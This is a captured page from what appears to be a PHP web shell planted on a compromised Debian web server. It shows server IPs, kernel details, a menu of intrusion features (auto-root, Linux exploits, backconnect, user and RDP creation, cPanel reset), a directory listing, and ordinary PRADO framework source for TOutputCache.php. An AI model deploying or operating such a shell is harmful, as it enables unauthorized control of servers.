Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.191.205.149
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TOutputCache.php
<?php /** * TOutputCache class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Caching\ICache; use Prado\Exceptions\TConfigurationException; use Prado\IO\TTextWriter; use Prado\Prado; use Prado\TPropertyValue; use Prado\Exceptions\TInvalidDataValueException; /** * TOutputCache class. * * TOutputCache enables caching a portion of a Web page, also known as * partial caching. The content being cached can be either static or * dynamic. * * To use TOutputCache, simply enclose the content to be cached * within the TOutputCache component tag on a template, e.g., * <code> * <com:TOutputCache> * content to be cached * </com:TOutputCache> * </code> * where content to be cached can be static text and/or component tags. * * The validity of the cached content is determined based on two factors: * the {@link setDuration Duration} and the cache dependency. * The former specifies the number of seconds that the data can remain * valid in cache (defaults to 60s), while the latter specifies conditions * that the cached data depends on. If a dependency changes, * (e.g. relevant data in DB are updated), the cached data will be invalidated. * * There are two ways to specify cache dependency. One may write event handlers * to respond to the {@link onCheckDependency OnCheckDependency} event and set * the event parameter's {@link TOutputCacheCheckDependencyEventParameter::getIsValid IsValid} * property to indicate whether the cached data remains valid or not. * One can also extend TOutputCache and override its {@link getCacheDependency} * function. While the former is easier to use, the latter offers more extensibility. * * The content fetched from cache may be variated with respect to * some parameters. It supports variation with respect to request parameters, * which is specified by {@link setVaryByParam VaryByParam} property. * If a specified request parameter is different, a different version of * cached content is used. This is extremely useful if a page's content * may be variated according to some GET parameters. * The content being cached may also be variated with user sessions if * {@link setVaryBySession VaryBySession} is set true. * To variate the cached content by other factors, override {@link calculateCacheKey()} method. * * Output caches can be nested. An outer cache takes precedence over an * inner cache. This means, if the content cached by the inner cache expires * or is invalidated, while that by the outer cache not, the outer cached * content will be used. * * Note, TOutputCache is effective only for non-postback page requests * and when cache module is enabled. * * Do not attempt to address child controls of TOutputCache when the cached * content is to be used. Use {@link getContentCached ContentCached} property * to determine whether the content is cached or not. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.1 */ class TOutputCache extends \Prado\Web\UI\TControl implements \Prado\Web\UI\INamingContainer { public const CACHE_ID_PREFIX = 'prado:outputcache'; private $_cacheModuleID = ''; private $_dataCached = false; private $_cacheAvailable = false; private $_cacheChecked = false; private $_cacheKey; private $_duration = 60; private $_cache; private $_contents; private $_state; private $_actions = []; private $_varyByParam = ''; private $_keyPrefix = ''; private $_varyBySession = false; private $_cachePostBack = false; private $_cacheTime = 0; /** * Returns a value indicating whether body contents are allowed for this control. * This method overrides the parent implementation by checking if cached * content is available or not. If yes, it returns false, otherwise true. */ public function getAllowChildControls() { $this->determineCacheability(); return !$this->_dataCached; } private function determineCacheability() { if (!$this->_cacheChecked) { $this->_cacheChecked = true; if ($this->_duration > 0 && ($this->_cachePostBack || !$this->getPage()->getIsPostBack())) { if ($this->_cacheModuleID !== '') { $this->_cache = $this->getApplication()->getModule($this->_cacheModuleID); if (!($this->_cache instanceof ICache)) { throw new TConfigurationException('outputcache_cachemoduleid_invalid', $this->_cacheModuleID); } } else { $this->_cache = $this->getApplication()->getCache(); } if ($this->_cache !== null) { $this->_cacheAvailable = true; $data = $this->_cache->get($this->getCacheKey()); if (is_array($data)) { $param = new TOutputCacheCheckDependencyEventParameter(); $param->setCacheTime($data[3] ?? 0); $this->onCheckDependency($param); $this->_dataCached = $param->getIsValid(); } else { $this->_dataCached = false; } if ($this->_dataCached) { [$this->_contents, $this->_state, $this->_actions, $this->_cacheTime] = $data; } } } } } /** * Performs the Init step for the control and all its child controls. * This method overrides the parent implementation by setting up * the stack of the output cache in the page. * Only framework developers should use this method. * @param \Prado\Web\UI\TControl $namingContainer the naming container control */ protected function initRecursive($namingContainer = null) { if ($this->_cacheAvailable && !$this->_dataCached) { $stack = $this->getPage()->getCachingStack(); $stack->push($this); parent::initRecursive($namingContainer); $stack->pop(); } else { parent::initRecursive($namingContainer); } } /** * Performs the Load step for the control and all its child controls. * This method overrides the parent implementation by setting up * the stack of the output cache in the page. If the data is restored * from cache, it also recovers the actions associated with the cached data. * Only framework developers should use this method. */ protected function loadRecursive() { if ($this->_cacheAvailable && !$this->_dataCached) { $stack = $this->getPage()->getCachingStack(); $stack->push($this); parent::loadRecursive(); $stack->pop(); } else { if ($this->_dataCached) { $this->performActions(); } parent::loadRecursive(); } } private function performActions() { $page = $this->getPage(); $cs = $page->getClientScript(); foreach ($this->_actions as $action) { if ($action[0] === 'Page.ClientScript') { call_user_func_array([$cs, $action[1]], $action[2]); } elseif ($action[0] === 'Page') { call_user_func_array([$page, $action[1]], $action[2]); } else { call_user_func_array([$this->getSubProperty($action[0]), $action[1]], $action[2]); } } } /** * Performs the PreRender step for the control and all its child controls. * This method overrides the parent implementation by setting up * the stack of the output cache in the page. * Only framework developers should use this method. */ protected function preRenderRecursive() { if ($this->_cacheAvailable && !$this->_dataCached) { $stack = $this->getPage()->getCachingStack(); $stack->push($this); parent::preRenderRecursive(); $stack->pop(); } else { parent::preRenderRecursive(); } } /** * Loads state (viewstate and controlstate) into a control and its children. * This method overrides the parent implementation by loading * cached state if available. * This method should only be used by framework developers. * @param array $state the collection of the state * @param bool $needViewState whether the viewstate should be loaded */ protected function loadStateRecursive(&$state, $needViewState = true) { parent::loadStateRecursive($state, $needViewState); } /** * Saves all control state (viewstate and controlstate) as a collection. * This method overrides the parent implementation by saving state * into cache if needed. * This method should only be used by framework developers. * @param bool $needViewState whether the viewstate should be saved * @return array the collection of the control state (including its children's state). */ protected function &saveStateRecursive($needViewState = true) { if ($this->_dataCached) { return $this->_state; } else { $this->_state = parent::saveStateRecursive($needViewState); return $this->_state; } } /** * Registers an action associated with the content being cached. * The registered action will be replayed if the content stored * in the cache is served to end-users. * @param string $context context of the action method. This is a property-path * referring to the context object (e.g. Page, Page.ClientScript) * @param string $funcName method name of the context object * @param array $funcParams list of parameters to be passed to the action method */ public function registerAction($context, $funcName, $funcParams) { $this->_actions[] = [$context, $funcName, $funcParams]; } public function getCacheKey() { if ($this->_cacheKey === null) { $this->_cacheKey = $this->calculateCacheKey(); } return $this->_cacheKey; } /** * Calculates the cache key. * The key is calculated based on the unique ID of this control * and the request parameters specified via {@link setVaryByParam VaryByParam}. * If {@link getVaryBySession VaryBySession} is true, the session ID * will also participate in the key calculation. * This method may be overriden to support other variations in * the calculated cache key. * @return string cache key */ protected function calculateCacheKey() { $key = $this->getBaseCacheKey(); if ($this->_varyBySession) { $key .= $this->getSession()->getSessionID(); } if ($this->_varyByParam !== '') { $params = []; $request = $this->getRequest(); foreach (explode(',', $this->_varyByParam) as $name) { $name = trim($name); $params[$name] = $request->itemAt($name); } $key .= serialize($params); } $param = new TOutputCacheCalculateKeyEventParameter(); $this->onCalculateKey($param); $key .= $param->getCacheKey(); return $key; } /** * @return string basic cache key without variations */ protected function getBaseCacheKey() { return self::CACHE_ID_PREFIX . $this->_keyPrefix . $this->getPage()->getPagePath() . $this->getUniqueID(); } /** * @return string the ID of the cache module. Defaults to '', meaning the primary cache module is used. */ public function getCacheModuleID() { return $this->_cacheModuleID; } /** * @param string $value the ID of the cache module. If empty, the primary cache module will be used. */ public function setCacheModuleID($value) { $this->_cacheModuleID = $value; } /** * Sets the prefix of the cache key. * This method is used internally by {@link TTemplate}. * @param string $value key prefix */ public function setCacheKeyPrefix($value) { $this->_keyPrefix = $value; } /** * @return int the timestamp of the cached content. This is only valid if the content is being cached. * @since 3.1.1 */ public function getCacheTime() { return $this->_cacheTime; } /** * Returns the dependency of the data to be cached. * The default implementation simply returns null, meaning no specific dependency. * This method may be overriden to associate the data to be cached * with additional dependencies. * @return \Prado\Caching\ICacheDependency */ protected function getCacheDependency() { return null; } /** * @return bool whether content enclosed is cached or not */ public function getContentCached() { return $this->_dataCached; } /** * @return int number of seconds that the data can remain in cache. Defaults to 60 seconds. * Note, if cache dependency changes or cache space is limited, * the data may be purged out of cache earlier. */ public function getDuration() { return $this->_duration; } /** * @param int $value number of seconds that the data can remain in cache. If 0, it means data is not cached. * @throws TInvalidDataValueException if the value is smaller than 0. */ public function setDuration($value) { if (($value = TPropertyValue::ensureInteger($value)) < 0) { throw new TInvalidDataValueException('outputcache_duration_invalid', get_class($this)); } $this->_duration = $value; } /** * @return string a semicolon-separated list of strings used to vary the output cache. Defaults to ''. */ public function getVaryByParam() { return $this->_varyByParam; } /** * Sets the names of the request parameters that should be used in calculating the cache key. * The names should be concatenated by semicolons. * By setting this value, the output cache will use different cached data * for each different set of request parameter values. * @param string $value a semicolon-separated list of strings used to vary the output cache. */ public function setVaryByParam($value) { $this->_varyByParam = trim($value); } /** * @return bool whether the content being cached should be differentiated according to user sessions. Defaults to false. */ public function getVaryBySession() { return $this->_varyBySession; } /** * @param bool $value whether the content being cached should be differentiated according to user sessions. */ public function setVaryBySession($value) { $this->_varyBySession = TPropertyValue::ensureBoolean($value); } /** * @return bool whether cached output will be used on postback requests. Defaults to false. */ public function getCachingPostBack() { return $this->_cachePostBack; } /** * Sets a value indicating whether cached output will be used on postback requests. * By default, this is disabled. Be very cautious when enabling it. * If the cached content including interactive user controls such as * TTextBox, TDropDownList, your page may fail to render on postbacks. * @param bool $value whether cached output will be used on postback requests. */ public function setCachingPostBack($value) { $this->_cachePostBack = TPropertyValue::ensureBoolean($value); } /** * This event is raised when the output cache is checking cache dependency. * An event handler may be written to check customized dependency conditions. * The checking result should be saved by setting {@link TOutputCacheCheckDependencyEventParameter::setIsValid IsValid} * property of the event parameter (which defaults to true). * @param TOutputCacheCheckDependencyEventParameter $param event parameter */ public function onCheckDependency($param) { $this->raiseEvent('OnCheckDependency', $this, $param); } /** * This event is raised when the output cache is calculating cache key. * By varying cache keys, one can obtain different versions of cached content. * An event handler may be written to add variety of the key calculation. * The value set in {@link TOutputCacheCalculateKeyEventParameter::setCacheKey CacheKey} of * this event parameter will be appended to the default key calculation scheme. * @param TOutputCacheCalculateKeyEventParameter $param event parameter */ public function onCalculateKey($param) { $this->raiseEvent('OnCalculateKey', $this, $param); } /** * Renders the output cache control. * This method overrides the parent implementation by capturing the output * from its child controls and saving it into cache, if output cache is needed. * @param \Prado\Web\UI\THtmlWriter $writer */ public function render($writer) { if ($this->_dataCached) { $writer->write($this->_contents); } elseif ($this->_cacheAvailable) { $textwriter = new TTextWriter(); $multiwriter = new TOutputCacheTextWriterMulti([$writer->getWriter(), $textwriter]); $htmlWriter = Prado::createComponent($this->GetResponse()->getHtmlWriterType(), $multiwriter); $stack = $this->getPage()->getCachingStack(); $stack->push($this); parent::render($htmlWriter); $stack->pop(); $content = $textwriter->flush(); $data = [$content, $this->_state, $this->_actions, time()]; $this->_cache->set($this->getCacheKey(), $data, $this->getDuration(), $this->getCacheDependency()); } else { parent::render($writer); } } }
Close